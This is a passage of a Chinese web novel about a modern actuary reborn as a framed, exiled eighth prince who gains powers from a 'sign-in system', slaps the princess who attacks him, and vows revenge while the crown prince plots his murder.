《被贬北凉,我打造了无敌大雪龙骑!》
第1章 天牢打卡签到,获得神级医术
“叽叽~”
“叽叽~”
几只小老鼠趴在一个浑身是血的人身上,随着它都尾巴不断扫动那人的鼻子,一声喷嚏打了出来。
“啊切——”
“嘶——”
“好痛啊——”
喷嚏声之后,传来的就是痛苦的呻吟。
无法用言语形容的痛楚,仿佛全身的骨头都被人一寸寸敲碎,然后又胡乱地拼接在一起,每一次呼吸,都牵扯着背部、臀部那撕裂般的剧痛。
叶玄费力地睁开沉重的眼皮,视线花了许久才聚焦。
映入眼帘的,是长满青苔的石壁,一扇仅有尺许见方的小窗镶嵌在高处,透进来的微光,惨白而无力,恰好照亮了空气中飞舞的尘埃。
身下是冰冷潮湿的茅草,散发着霉味。
这里是……牢房?
叶玄的脑子嗡的一声,脸上写满了茫然与不可置信。
他不是应该在自己的金融帝国大厦顶层,分析着下一季度的全球经济走向吗?怎么会跑到这种鬼地方?
就在他惊疑不定之际,一股不属于他的记忆,如同决堤的洪水,汹涌地冲入他的脑海。
剧烈的头痛让他忍不住发出一声闷哼。
记忆的主人,也叫叶玄。
大乾王朝的八皇子,一个自幼体弱多病、在皇宫中几乎没有存在感的透明人。
记忆的碎片飞速闪现,最终定格在一个月色如水的夜晚。
……
那晚,原身半夜前往御花园。
是他最敬爱的皇姐,临出嫁前偷偷塞给他一张字条,说有一样她最重要的东西,埋在了御花园的老槐树下,让他务必在三日后的子时去取回。
原身信了。
他拖着病弱的身子,避开了所有巡逻的侍卫,悄无声息地来到了御花园。
月光下的花园,静谧得有些诡异。
可当他刚刚靠近那棵老槐树,一阵若有若无的、压抑的喘息声和女子娇媚的轻吟,便钻入了他的耳朵。
那声音……
原身浑身一僵,本能地藏身于假山之后。
他看见了。
看见了那个他名义上的大哥,当朝太子,正将一位身着华贵凤袍的女子压在树干上。
女子的凤袍半解,露出大片雪白的肌肤,在月光下晃得人眼晕。
那是父皇最宠爱的云贵妃。
太子的手在贵妃身上肆无忌惮地游走,嘴里吐出污秽不堪的言语,而那平日里端庄高贵的贵妃,此刻却媚眼如丝,扭动着身子迎合,口中发出的声音,让年仅十六岁的原身面红耳赤,心惊胆战。
这是一场足以颠覆整个大乾王朝的禁忌私情!
原身吓得魂飞魄散,连呼吸都忘了,只想立刻逃离这个是非之地。
可他刚一转身,后脑就传来一阵剧痛。
一个阴恻恻的小太监,不知何时出现在他身后,手里还举着一根手臂粗的木棍。
意识的最后一刻,他看到太子和云贵妃那两张因为惊慌而瞬间变得狰狞的脸。
再之后……就是无边的黑暗。
黑暗过后,便是酷刑。
他被人从昏迷中强行泼醒,拖到了金銮殿上。
云贵妃梨花带雨地跪在皇帝面前,哭诉着八皇子深夜强闯她的寝宫,意图不轨。
太子则“义正言辞”地站出来,表示自己是“恰好”路过,才“救”下了贵妃。
颠倒黑白,无耻至极!
而那个高高在上的父皇,大乾天子,甚至没有给原身一句辩解的机会。
或许,在他眼中,这个病弱无能的第八子,连让他费心去查证的价值都没有。
“逆子!给朕重打五十大板,扔进天牢,生死由命!”
冰冷的宣判,成了原身听到的最后一句话。
五十大板,对于一个本就体弱多病的少年来说,无异于直接宣判了死刑。
记忆到此戛然而止。
“呵……”
叶玄的喉咙里发出一声干涩的冷笑,牵动了背后的伤口,痛得他倒吸一口凉气。
原来如此。
原来,这就是全部的真相。
前世身为顶级精算师,他一生都在与数据和人性打交道,什么样的阴谋诡计没有见过?
这场构陷,在他看来,简直是漏洞百出!
一个体弱多病的皇子,如何能“强闯”守卫森严的贵妃寝宫?
一个意图不轨的色徒,为何会出现在离贵妃寝宫十万八千里的御花园?
但凡那个狗皇帝有半点脑子,都不可能相信这种拙劣的谎言。
可惜,他信了。
或者说,他根本不在乎真相是什么。
他只是需要一个发泄怒火的出口,一个维护皇家颜面的牺牲品。
而原身,这个最没有价值、最无足轻重的八皇子,就是那个最完美的祭品。
“真是……好一个父慈子孝,兄友弟恭啊。”
叶玄的眼神,从最初的茫然,逐渐变得冰冷、锐利,如同藏在鞘中的绝世凶器,开始显露锋芒。
原身死了,死于冤屈和酷刑。
而他,来自二十一世纪的精算师叶玄,鸠占鹊巢,取而代之。
在接受完记忆之后。
他的意识开始模糊,眼前的景象也出现了重影。
失血过多,伤势过重……
他能清晰地感觉到,自己的生命力正在飞速流逝。
刚穿越过来,就要再死一次吗?
开什么国际玩笑!
这具身体的原主人已经够憋屈了,他可不想刚接手就步其后尘。
不甘心!
我绝不甘心!
就在他的意识即将沉入黑暗的最后一刻。
【检测到宿主强烈求生意志……】
【神级签到系统正在绑定……】
【绑定成功!】
一道冰冷的、不含任何感情的电子音,突兀地在他脑海深处响起。
系统?
叶玄精神一振,几乎是本能地抓住了这根救命稻草。
【恭喜宿主绑定成功,获得新手大礼包一份,是否立即签到?】
“签到!立刻!马上!”
叶玄在心中疯狂咆哮。
【签到成功!】
【恭喜宿主获得神级奖励——神级医术!】
【神级医术:生死人,肉白骨。此世间,将无任何病痛能困扰宿主,亦无任何伤势能难倒宿主。】
【恭喜宿主获得新手福利——伤势瞬间恢复(一次性)!】
一股庞大的信息流瞬间涌入叶玄的脑海,无数关于药理、病理、针灸、推拿、外科手术的知识,仿佛他与生俱来一般,深刻地烙印在他的灵魂深处。
他甚至感觉,只要给他一根银针,他就能让一个瘫痪十年的人重新站起来。
但眼下,最重要的是那个恢复伤势的机会!
“使用!立刻使用伤势恢复!”
叶玄毫不犹豫地下达了指令。
指令下达的瞬间,一股暖流,如同初春的阳光,瞬间从他的心脏处涌出,迅速流遍四肢百骸。
那是一种难以言喻的舒适感。
他能清晰地“看”到,自己背后那些翻卷的皮肉,正在以肉眼可见的速度蠕动、愈合。
断裂的骨骼在自动归位,发出“咔咔”的轻响。
干涸的经脉被重新滋养,枯竭的气血再次充盈。
原本撕心裂肺的疼痛,正在被一种酥酥麻麻的痒意所取代。
不过短短十几个呼吸的时间。
叶玄感觉自己仿佛重获新生。
他试着活动了一下手脚,除了还有些许僵硬之外,再无任何痛感。
他甚至能感觉到,这具身体的底子,似乎都在这股暖流的滋养下,变得比之前强健了不少,不再是那个走几步路都会喘的病秧子了。
除了囚服上那大片干涸的、触目惊心的血迹,以及身体的虚弱感外,他身上的伤,已经好了个七七八八。
叶玄缓缓从冰冷的茅草堆上坐了起来,动作间再无丝毫滞涩。
他低头看了看自己的双手,白皙修长,骨节分明,却蕴含着一股前所未有的力量感。
他的嘴角,缓缓勾起一抹冰冷的弧度。
很好。
非常好。
神级医术……
这简直是为他这具“病弱”的身体量身定做的神技。
有了它,他最大的短板被补齐,他最完美的伪装也得以维系。
他依然可以是那个在外人眼中,手无缚鸡之力、随时可能病死的八皇子。
谁又能想到,这副孱弱的皮囊之下,隐藏着一个足以颠覆乾坤的灵魂,和一双能够掌控生死的手?
太子,云贵妃……
你们以为,把我打入天牢,我就死定了么?
你们错了。
游戏,现在才刚刚开始。
我不仅要活着从这里走出去,还要让你们,为自己的所作所为,付出千倍、万倍的代价!
叶玄的目光,穿过那狭小的天窗,望向了外面那片灰蒙蒙的天。
眼神深邃如渊,杀机凛然。
第2章 金銮殿签到,人皇霸体!
天色微亮,晨光熹微。
冰冷的天牢深处,传来了沉重铁门被打开的“吱嘎”声,以及甲胄摩擦的金属碰撞声。
“带走!”
一道毫无感情的命令响起。
几名身穿玄甲的禁军大步走入,粗暴地将躺在茅草堆里,仿佛已经断了气的叶玄架了起来。
叶玄的身体软得像一滩烂泥,双眼紧闭,气息若有若无,任由他们拖拽着。
他的囚服早已被干涸的血迹染成了暗红色,整个人散发着一股死亡的腐朽气息。
禁军们眼中满是鄙夷和厌恶。
这就是那个色胆包天,意图染指贵妃的八皇子?
真是皇家的耻辱。
叶玄被一路拖行,粗糙的石板地磨着他破烂的衣衫,但他毫无反应,仿佛真的已经是个死人。
然而,在他紧闭的眼皮之下,一双眸子却清醒得可怕。
他在用身体的每一寸肌肤,感受着从阴暗潮湿的天牢,到威严肃杀的宫道,再到那座象征着大乾最高权力的金銮殿。
空气中,常年不散的龙涎香,混杂着一丝他自己身上带来的血腥味。
“砰!”
他被禁军像扔一条死狗一样,扔在了冰冷坚硬的金銮殿地砖上。
大殿之上,文武百官分列两侧,鸦雀无声。
所有人的目光,都聚焦在了中央那个浑身是血、生死不知的身影上。
一道道目光,或怜悯,或幸灾乐祸,或冷漠,或鄙夷。
但没有一个人站出来,为这个曾经的八皇子说一句话。
高高的龙椅之上,大乾天子叶擎天面无表情,眼神深邃如古井,看不出喜怒。
他身侧,太子叶天嘴角噙着一抹若有若无的冷笑,眼神中满是快意与不屑。
蝼蚁,终究是蝼蚁。
“父皇!”
太子叶天上前一步,声音洪亮,充满了“正义感”。
“八弟做出此等禽兽不如、罔顾人伦的丑事,玷污皇家颜面,罪无可赦!”
“儿臣恳请父皇,下旨将其当众处死,以儆效尤,以正国法!”
他的声音在金銮殿内回荡,充满了杀伐之气。
不少依附于太子的官员立刻出列附和。
“太子殿下所言极是!此等逆子,不杀不足以平民愤!”
“请陛下圣裁!”
一时间,殿内杀气腾腾。
所有人都觉得,这个本就没有存在感的八皇子,今天死定了。
就在这时,一个苍老但中气十足的声音响了起来。
“陛下,万万不可!”
众人循声望去,只见须发皆白的老御史张承站了出来,手持玉笏,一脸刚正不阿。
“陛下,自古虎毒不食子。八皇子纵有天大的过错,那也是陛下的亲生骨肉,是龙子凤孙!”
“若在朝堂之上,当着文武百官的面,将亲子处死,史官将如何记载?后世将如何评价陛下?”
“残暴不仁,屠戮亲子!这等污名,陛下万万担不起啊!”
老御史一番话,掷地有声,让原本喧嚣的大殿瞬间安静下来。
太子叶天的脸色瞬间变得无比难看。
他死死地盯着张承,恨不得用眼神将这个老不死的千刀万剐。
他没想到,这种时候,竟然还有人敢跳出来跟他作对!
但他又无法反驳。
他可以不在乎叶玄的死活,但他不能让自己背上一个“教唆父皇杀弟”的恶名,这对他未来的名声极为不利。
他只能将求助的目光,投向了龙椅上的父皇。
叶擎天高坐其上,面色依旧古井无波。
他深深地看了一眼那个不知死活的老御史,又扫了一眼地上那滩“烂泥”。
杀了他?
确实会脏了史书,也脏了自己“仁君”的名声。
为了这么一个废物,不值得。
“死罪可免。”
太子叶天立刻心领神会,再次开口,语气中带着一丝“宽宏大量”。
“但活罪难逃!”
“儿臣建议,废除叶玄皇子身份,贬为庶人,发配北凉苦寒之地,永世不得踏入京城半步!”
此言一出,满朝哗然。
北凉!
那是什么地方?
大乾王朝最贫瘠、最混乱的边陲之地,常年与蛮族交战,环境恶劣,匪盗横行。
将一个本就“体弱多病”的人发配到那里,跟直接杀死,又有什么区别?
这比直接给一刀,还要狠毒!
皇帝叶擎天沉默了片刻。
这确实是最好的处理方式。
既能让这个逆子消失在所有人眼前,又能保全皇家和太子的颜面。
至于那个逆子的死活……谁在乎呢?
而此刻,趴在地上一动不动的叶玄,意识却完全沉浸在自己的脑海之中。
从踏入金銮殿的那一刻起,他就一直在与系统沟通。
“系统,在这金銮殿签到!”
【叮!检测到宿主位于龙气汇聚之地——金銮殿,符合神级签到条件!】
【正在签到中……】
【签到成功!】
【恭喜宿主,获得神级奖励——人皇霸体!】
【人皇霸体:根骨重塑,百病不侵,万法不沾,修炼速度万倍增幅!】
【恭喜宿主,获得神级奖励——天子望气术!】
【天子望气术:可看穿他人气运、忠诚度、修为境界!】
轰!
两道神级奖励,如同两股浩瀚的洪流,瞬间冲刷着叶玄的四肢百骸与灵魂深处。
一股难以言喻的剧痛与舒爽同时传来。
他能感觉到,自己这具孱弱身体的骨骼、经脉、血肉,正在被一股无上伟力强行打碎,然后以一种更完美、更强大的方式重组!
原本那病弱的根基,被彻底拔除,取而代之的,是一具宛如神金铸就的无上宝体!
他的双眼,更是传来一阵清凉之意。
整个世界,在他的眼中,似乎都变得不一样了。
就在这时,龙椅之上,那冰冷无情的声音,终于响彻大殿。
“准奏。”
“传朕旨意,皇八子叶玄,德行有亏,品性败坏,不堪为皇室子弟。”
“即刻起,剥夺其皇子身份,贬为庶人,发配北凉,永世不得入京!”
一言定性。
没有审问,没有辩解,只有冷酷的宣判。
“谢父皇隆恩!”
太子叶天大喜过望,立刻跪下谢恩,眼底的得意与残忍,再也无法掩饰。
“拖下去。”
皇帝叶擎天挥了挥手,仿佛只是在处理一件微不足道的垃圾。
禁军再次上前,架起叶玄,准备将他拖出大殿。
就在被拖拽着转身的那一刻。
一直“昏迷不醒”的叶玄,眼皮微不可查地掀开了一道缝隙。
他开启了天子望气术。
刹那间,他看到了。
他看到太子叶天的头顶,漂浮着一团淡薄的、夹杂着黑气的紫色气运,孱弱不堪,如同风中残烛。
【姓名:叶天】
【身份:大乾太子】
【气运:紫色(驳杂)】
【忠诚度:-100(不死不休)】
而在那高高在上的龙椅上,他的父皇叶擎天,头顶则盘踞着一条巨大的金色龙气,威严浩荡。
但在那金龙的腹部,却缠绕着一缕若有若无的黑气,带着不详与衰败的气息。
【姓名:叶擎天】
【身份:大乾皇帝】
【气运:金色(有瑕)】
【忠诚度:-80(漠视,可随意牺牲)】
叶玄的嘴角,在那无人看见的角度,勾起了一抹冰冷到极致的弧度。
他被缓缓拖出了金銮殿,明媚的阳光刺入他的眼帘。
他最后回头,深深地看了一眼那座辉煌的大殿,将那父子二人的面孔,连同他们头顶那可笑的气运,一同烙印在了灵魂最深处。
下一次。
当我叶玄再回到这里的时候。
这龙椅上的人,就该换一换了。
北凉么?
正好。
京城这座牢笼,太小了。
天高海阔,才是我这条真龙,应该去的地方!
第3章 金銮殿前,掌掴公主
金銮殿外,阳光刺眼。
长长的白玉阶梯,在阳光下泛着神圣的光辉,仿佛能洗净一切污秽。
然而,当叶玄被两名禁军像拖死狗一样拖出来时,却玷污了这份神圣。
就在禁军准备将他押回天牢,等待发配文书正式下达时,一道清脆而又尖利的声音,带着毫不掩饰的厌恶与高傲,从前方传来。
“站住!”
禁军们脚步一顿,循声望去,只见一名身穿华贵宫装,头戴金钗步摇,面容娇俏却眉眼间满是刻薄的少女,正带着几名宫女太监,盛气凌人地挡住了去路。
来人,正是大乾王朝最受宠的七公主,叶清歌。
也是太子叶天的一母同胞,最忠实的拥护者。
“七公主殿下。”禁军头领连忙躬身行礼,态度恭敬。
叶清歌却连看都未看他们一眼,她那双漂亮的凤眸,死死地盯着被架着的叶玄,眼神里充满了鄙夷与怨毒。
“叶玄,你这个不知廉耻的杂种!”
她的声音不大,却尖锐得像一根针,狠狠刺入在场每个人的耳朵里。
“做出那等猪狗不如的丑事,玷污我皇家颜面,简直罪该万死!”
“父皇仁慈,愿意饶你一条狗命,可本宫不愿意!”
叶清歌一步步走近,华丽的裙摆拖曳在地,她从腰间抽出一根镶嵌着宝石的软鞭,鞭梢在空气中甩出一个清脆的响声。
“啪!”
“你这种废物,活着也是浪费粮食,污染空气。”
她用鞭梢,轻蔑地挑起叶玄垂落的下巴,看着他那张沾满血污和灰尘的脸,厌恶地皱起了眉。
“本宫今天就要替父皇,好好教训教训你这个不知天高地厚的逆子!”
“让所有人都看看,得罪太子哥哥,是什么下场!”
话音未落,她手腕猛地一抖,那根软鞭便如同毒蛇出洞,带着凌厉的风声,狠狠地朝着叶玄的脸抽了过去!
这一鞭若是抽实了,以叶玄之前那“体弱多病”的身体,就算不死,也得毁容。
禁军头领脸色大变,想要阻拦,却又碍于七公主的身份,一时间竟僵在原地。
周围的宫女太监,更是露出了幸灾乐祸的残忍笑容。
在他们眼中,这个八皇子,已经是个死人了。
然而,就在那鞭影即将及体的瞬间,异变陡生!
一直如同烂泥般瘫软的叶玄,身体猛地一震。
那两名架着他的禁军,只感觉一股沛然莫御的巨力从叶玄手臂上传来,竟让他们虎口剧痛,身不由己地松开了手。
叶玄,挣脱了束缚!
他站直了身体。
明明还是那副破烂染血的囚服,明明还是那副瘦弱的身躯,但这一刻,他站在那里,却仿佛一座巍峨山岳,渊渟岳峙。
那双一直紧闭的眸子,豁然睁开!
那是一双怎样的眼睛?
深邃、冰冷、漠然,宛如万古不化的玄冰,又似俯瞰众生的神祇,不带一丝一毫的人类情感。
时间,在这一刻仿佛静止了。
那呼啸而来的鞭子,在他的瞳孔中不断放大。
快!
在所有人眼中快如闪电的一鞭,在叶玄眼中,却慢得如同蜗牛爬行。
他只是轻描淡写地抬起了手。
精准地,一把抓住了那根软鞭的鞭梢。
所有人都懵了。
那几名禁军眼珠子都快瞪了出来,嘴巴张得能塞下一个鸡蛋。
叶清歌脸上的狞笑,也彻底僵住,取而代之的是无尽的错愕与不可置信。
他……他怎么可能……
他怎么可能抓住自己的鞭子?!
这个从小病弱得连风都能吹倒的废物,怎么可能有这种力量和速度?!
叶玄没有给她任何思考的时间。
他抓住鞭梢的手猛地一用力。
“啊!”
叶清歌只觉得一股无法抗拒的大力从鞭子上传来,整个人不受控制地被往前拽去,一个踉跄,差点摔倒在地。
而叶玄,则借着这股拉力,一步踏出。
他瞬间出现在了叶清歌的面前。
在七公主那惊恐放大的瞳孔中,叶玄抬起了另一只手。
然后,狠狠地挥了下去。
“啪!!!”
一道清脆响亮到极致的耳光声,如同平地惊雷,在金銮殿前炸响!
整个世界,仿佛都被这一巴掌抽得安静了。
所有人都石化了。
时间,在这一刻定格。
叶清歌白皙娇嫩的脸颊上,一个鲜红的五指印,以肉眼可见的速度迅速浮现、高高肿起。
她整个人都被抽得侧飞了出去,头上的金钗步摇散落一地,狼狈不堪地摔倒在几米开外。
一缕鲜血,从她的嘴角缓缓流下。
她……被打懵了。
从小到大,金枝玉叶,众星捧月,谁敢对她说一句重话?
别说打了,就连一根手指头都没人敢碰她!
可今天,就在这光天化日之下,在这金銮殿门口,她被自己最看不起的那个杂种,狠狠地扇了一耳光!
这不仅仅是身体上的疼痛。
更是精神上、尊严上的极致羞辱!
“啊——!!!”
短暂的死寂过后,是叶清歌歇斯底里的尖叫!
“你敢打我?!”
“你这个贱种!你敢打我!”
她像一头发了疯的母狮子,从地上一跃而起,双目赤红,披头散发,哪里还有半点公主的仪态。
“我要杀了你!我要杀了你!!”
她发狂般地朝着叶玄冲了过来,张牙舞爪,恨不得将叶玄生吞活剥。
“快!快拦住公主!”
“保护八……保护叶玄!”
禁军头领终于反应过来,吓得魂飞魄散,连忙大吼。
圣旨还没正式下达,叶玄就还是皇子!
要是今天叶玄在金銮殿门口被公主给打死了,他们这些在场的所有人,一个都别想活!
几名禁军手忙脚乱地冲上去,死死地抱住了发狂的叶清歌。
“放开我!你们这群狗奴才!放开我!”叶清歌疯狂挣扎,对着禁军又踢又咬。
“带走!快把他带走!”禁军头领对着另外两人嘶吼道。
那两名禁军如梦初醒,连忙再次上前,一左一右架住叶玄,但这次他们的动作,却带着一丝不易察觉的敬畏与恐惧。
敢打公主,是个狠人!
叶玄没有反抗,任由他们架着,神情自始至终都未曾有过一丝一毫的波澜。
仿佛刚才那惊天动地的一巴掌,不是他打出去的。
在路过仍在疯狂挣扎的叶清歌身旁时,叶玄的脚步微微一顿。
他侧过头,用只有他们两人才能听到的声音,轻声说道:
“回去告诉你的太子哥哥,把脖子洗干净点。”
“我,很快就会回来取。”
他的声音很轻,很淡,却像来自九幽地狱的魔音,带着刺骨的寒意,瞬间钻入了叶清歌的耳朵里。
正处于暴怒状态的叶清歌,身体猛地一僵。
她那疯狂的挣扎,竟然停滞了一瞬。
不等她反应过来,叶玄已经被禁军飞快地带走了,消失在宫道的尽头。
直到叶玄的身影彻底不见,叶清歌才仿佛被抽空了所有力气,身体一软,瘫倒在宫女的怀里。
她大口大口地喘着粗气,胸口剧烈起伏,脸上的剧痛和心底的恐惧交织在一起。
她死死地攥着拳头,指甲深深嵌入掌心,鲜血淋漓。
“东宫……”
她咬着牙,从牙缝里挤出两个字。
“去东宫!!”
她要去找她的太子哥哥!
她要将今天所受的奇耻大辱,百倍千倍地,从叶玄身上讨还回来!
……
天牢。
那扇沉重的铁门,再次在身后“吱嘎”一声关上,最后又“哐当”一声落锁。
光明被隔绝在外。
熟悉而又令人作呕的潮湿、腐朽、血腥的气味,再次包裹了叶玄。
押送他的禁军,自始至终一言不发,将他扔进牢房后,便逃也似的离开了。
脚步声远去,整个天牢深处,再次恢复了死一般的寂静。
叶玄缓缓地站直了身体,活动了一下手脚。
之前那具破败身体带来的虚弱、疼痛、无力感,已经彻底消失不见。
取而代之的,是一种前所未有的强大感觉。
他能清晰地感觉到,自己的每一寸血肉、每一根骨骼、每一条经脉之中,都蕴藏着一股磅礴浩瀚的生命精气与力量。
这就是人皇霸体!
他缓缓握紧了拳头。
空气中,发出一声沉闷的爆鸣。
一股肉眼可见的气浪,以他的拳头为中心,向四周扩散开来。
仅仅是肉身的力量,就已如此恐怖!
他甚至有一种感觉,只要他愿意,他可以一拳打穿这天牢的墙壁!
身体素质,得到了脱胎换骨般的增强。
根骨,更是被重塑为万古无一的神级道体。
可惜……
叶玄的眉头微微皱起。
他能感觉到体内那股如渊似海的力量,却不知道该如何去引导,如何去运用。
原身的记忆里,因为体弱多病,从小就被断定为修炼废材,根本没有接触过任何修炼功法。
这就好比给了他一辆拥有万匹马力引擎的超跑,却没有给他方向盘和说明书。
空有“修炼速度万倍增幅”的逆天体质,却无功法可修。
“必须尽快搞到一门修炼功法。”
叶玄的目光变得锐利起来。
只有真正踏上修炼之路,将人皇霸体的潜力彻底激发出来,他才有足够的力量,去掀翻那座金銮殿,去将那对父子,踩在脚下!
第4章 苏轻雪。
东宫。
雕梁画栋,金碧辉煌,与天牢的阴暗腐朽仿佛是两个截然不同的世界。
太子叶天刚从金銮殿回来,换下沉重的朝服,正端着一盏上好的雨前龙井,惬意地品味着。
父皇最终还是采纳了他的建议,将叶玄那个杂种贬为庶人,流放北凉。
这让他心情极好。
虽然没能直接要了叶玄的命,但北凉那种鸟不拉屎的苦寒之地,再加上叶玄那副破败的身子骨,能不能活着走到那里都是个问题。
就算侥幸抵达,也与死了无异。
一个被剥夺了皇子身份的废物,在那种地方,只会比野狗还凄惨。
他嘴角勾起一抹残忍而快意的笑容。
就在这时,殿外传来一阵急促而慌乱的脚步声。
“太子哥哥!”
一道尖利的女声划破了东宫的宁静,带着无尽的委屈与滔天的怒火。
叶天眉头一皱,脸上闪过一丝不悦。
是叶清歌。
他这个妹妹,什么都好,就是太沉不住气。
“何事如此慌张,成何体统?”他放下茶盏,语气中带着一丝责备。
话音刚落,七公主叶清歌便如同一阵旋风般冲了进来,披头散发,华贵的宫装上满是灰尘,脸上更是狼狈不堪。
“哥哥!”
叶清歌一见到叶天,积攒的所有委屈、羞辱、愤怒,在这一刻彻底爆发,眼泪如断了线的珠子般滚落。
她扑到叶天面前,将自己那张高高肿起、印着一个清晰五指印的脸凑了过去。
“你看!你看我的脸!”
“是叶玄!是叶玄那个贱种打的!”
叶天原本还带着几分不耐的神情,在看清叶清歌脸上的伤势时,瞬间凝固了。
他瞳孔猛地一缩!
那是一个巴掌印,鲜红刺眼,高高肿起,可见下手之人用了多大的力气。
“你说什么?”
叶天的声音陡然转冷,一股森然的寒意从他身上弥漫开来,让周围侍立的宫女太监们齐齐打了个寒颤。
“是叶玄那个杂种打的!”叶清歌哭喊着,声音嘶哑,“就在金銮殿门口,当着所有禁军的面,他……他扇了我一巴掌!”
“不可能!”
叶天断然喝道,第一个反应就是不信。
叶玄?
那个从小病病歪歪,连说话都大声喘气的废物?
那个被自己一句话就打入天牢,毫无还手之力的蝼蚁?
他怎么可能有胆子,又怎么可能有那个力气去打他一母同胞的亲妹妹,大乾最受宠的七公主?
“是真的!哥哥,你看我的脸,难道还有假吗?”叶清歌指着自己的脸,泣不成声,“他不知道发了什么疯,突然挣脱了禁军,就像变了个人一样,我……我根本来不及反应……”
叶天死死地盯着妹妹脸上的伤痕,心中的惊疑不定渐渐被一种冰冷的认知所取代。
清歌没有撒谎。
这伤,做不了假。
那个废物,真的打了公主。
他缓缓坐回椅子上,手指无意识地敲击着紫檀木的扶手,发出“笃、笃、笃”的轻响。
东宫之内,一时间落针可闻。
良久,叶天眼中闪过一丝阴鸷的光芒。
看来,自己这个八弟,身上藏着的秘密,比想象中要多得多啊。
装病?隐忍?
不管是什么,一个敢在金銮殿前公然掌掴公主的废物,已经不再是废物了。
而是一条,会咬人的毒蛇!
“哥哥,你一定要杀了他!”叶清歌见叶天沉默不语,急得抓住了他的衣袖,双目赤红,满是怨毒。
“我不管他有什么秘密,我只要他死!他今天敢打我,明天就敢做别的事情!这种贱种,多活一天,都是我的耻辱!”
“他不死,我心难安!”
她像是想起了什么,身体微微一颤,凑到叶天耳边,用压抑着恐惧的声音,将叶玄最后那句话一字不差地复述了出来。
“他还说……他还说让你把脖子洗干净点,他很快……就会回来取。”
“砰!”
叶天手中的茶盏,被他生生捏成了碎片!
滚烫的茶水混合着鲜血,从他的指缝间滴落,他却仿佛毫无所觉。
一股暴戾的杀气,从他身上冲天而起!
“好,好一个叶玄!”
“好一个我的好弟弟!”
叶天怒极反笑,声音里充满了森然的杀机。
之前,他只是想把叶玄这只碍眼的苍蝇赶走,让他自生自灭。
但现在,他改变主意了。
这条隐藏了多年的毒蛇,既然已经露出了獠牙,那就必须在它还未成长起来之前,彻底碾碎!
“哥哥,你现在就派人去天牢,把他给……”叶清歌做了一个抹脖子的动作。
“糊涂!”叶天冷声打断了她,“现在动手,岂不是明着告诉父皇,人是我杀的?此时杀他,只会惹来父皇的猜忌和震怒。”
“那怎么办?难道就这么放他去北凉?”叶清歌不甘心地叫道。
叶天眼中闪过一抹毒辣的精光,冷笑道:“京城到北凉,足有三千里之遥,路上多山匪恶寇,一个被流放的庶人,死在路上,不是很正常吗?”
“到时候,做得干净点,谁也查不到我们头上。”
听到这个计划,叶清歌脸上的疯狂之色才稍稍褪去,取而代之的是一种快意的残忍。
她用力点头:“好!就这么办!哥哥,你一定要快点,我一天都不想让他多活!”
“放心。”叶天安抚地拍了拍她的手背,眼中的杀意却愈发浓烈,“他活不到北凉。”
解决了叶玄的事情,叶天的心情平复了些许,他看着自己这个妹妹,忽然想起了另一件事。
“对了,你那个手帕交,苏轻雪,最近如何了?”
他问道,语气中带着一丝不容错辨的火热。
“本宫让你去劝说她做我的侧妃,她可有松口?”
提到苏轻雪,叶清歌的脸色顿时又难看了几分,她撇了撇嘴,没好气地说道:“别提了,那个苏轻雪,简直就是茅坑里的石头,又臭又硬!”
“我去了首辅府三次,她次次都以身体不适为由,闭门不见!软的硬的我都试过了,她就是不松口!”
说到这里,她忍不住抱怨起来:“再说了,哥哥你也是,人家苏轻雪可是首辅家的嫡女,名满京城的绝代才女,心气高着呢!你倒好,就给一个侧妃之位,她怎么可能看得上?”
“要我说,你直接许她一个太子妃的位置,她父亲苏长青为了家族,也定会逼她就范!”
“太子妃?”叶天冷哼一声,“你懂什么。苏长青是文官之首,朝堂之上,文武必须制衡。本宫的太子妃,必须出自手握兵权的将门,才能为我巩固地位,拉拢军方。”
“一个苏轻雪,再有才情,于我的大业又有何用?”
话虽如此,他脑海中却不由自主地浮现出苏轻雪那清冷绝俗,宛如月下仙子般的容颜。
越是得不到,他就越是心痒难耐。
他喜欢这种征服的感觉,尤其是征服苏轻雪这种高傲的女人。
“本宫是真心喜欢她。”叶天语气放缓,“清歌,你再替哥哥去一趟。只要她点头,本宫保证,她入东宫之后,地位仅次于太子妃,享无尽荣华。”
“我不去!”叶清歌想也不想就拒绝了。
“我都去了三次了,次次吃闭门羹,我的脸面还要不要了?再说,我现在这副样子,怎么见人!”她指着自己肿胀的脸颊,又气又委屈。
叶天见状,非但没有生气,反而露出一丝笑容。
他从怀中取出一个精致的白玉瓷瓶,递了过去。
“这是宫廷秘制的‘玉容膏’,祛瘀消肿有奇效,一夜之间,保证让你恢复如初,不留半点痕迹。”
他将瓷瓶塞到叶清歌手中,温声道:“好妹妹,就当再帮哥哥最后一次。事成之后,你看上什么,哥哥都给你买。”
叶清歌看着手中的玉瓶,闻着那股清雅的药香,脸上的不情愿渐渐消散。
她终究还是拗不过自己这个太子哥哥。
“好吧……”她嘟着嘴,不情不愿地答应下来,“就最后一次啊!要是她再给本宫脸色看,我可不管了!”
说完,她紧紧攥着那瓶玉容膏,转身便气冲冲地离开了东宫。
看着妹妹离去的背影,叶天脸上的温和笑容缓缓收敛,重新化为一片冰冷的阴鸷。
他拿起一块手帕,慢条斯理地擦拭着手上被碎片划破的伤口。
叶玄。
苏轻雪。
他冷冷一笑。
不管是顽抗的蝼蚁,还是高傲的美人,最终,都将是他的掌中之物。
第5章 荣华富贵,虚位以待
第二天拂晓,第一缕微光尚未穿透高墙上的窄窗,一阵细碎而规律的脚步声便由远及近。
盘膝而坐的叶玄眼皮微动,体内奔腾如江海的气血瞬间收敛,重新变回那个气息奄奄、仿佛随时都会断气的病秧子。
他瘫软在冰冷的草堆上,双目紧闭,呼吸微弱。
“吱呀——”
沉重的牢门被推开,一名面白无须,声音尖细的太监,手捧一卷明黄圣旨,在几名禁军的簇拥下走了进来。
他捏着鼻子,厌恶地扫了一眼这肮脏的环境,目光落在“昏死”过去的叶玄身上,充满了鄙夷。
“奉天承运,皇帝诏曰。”
太监没有给叶玄任何反应时间,直接展开圣旨,用他那公鸭般的嗓子高声宣读。
“八皇子叶玄,德行有亏,品性败坏,着即刻剥夺皇子身份,废为庶人,钦此!”
声音在空旷的牢房里回荡,带着一种不容置疑的冷酷。
“拖出去,押上囚车,流放北凉,即刻启程!”
太监收起圣旨,仿佛多待一秒都是折磨,拂袖而去。
两名禁军如狼似虎地冲上来,一左一右架起瘫软如泥的叶玄,毫不怜惜地向外拖去。
叶玄的身体在粗糙的地面上拖行,但他紧闭的双眼之下,神识却清明无比。
人皇霸体早已修复了他所有的伤势,甚至让他脱胎换骨,此刻他体内的力量,足以轻松挣脱这两名禁军。
但他没有。
现在还不是时候。
……
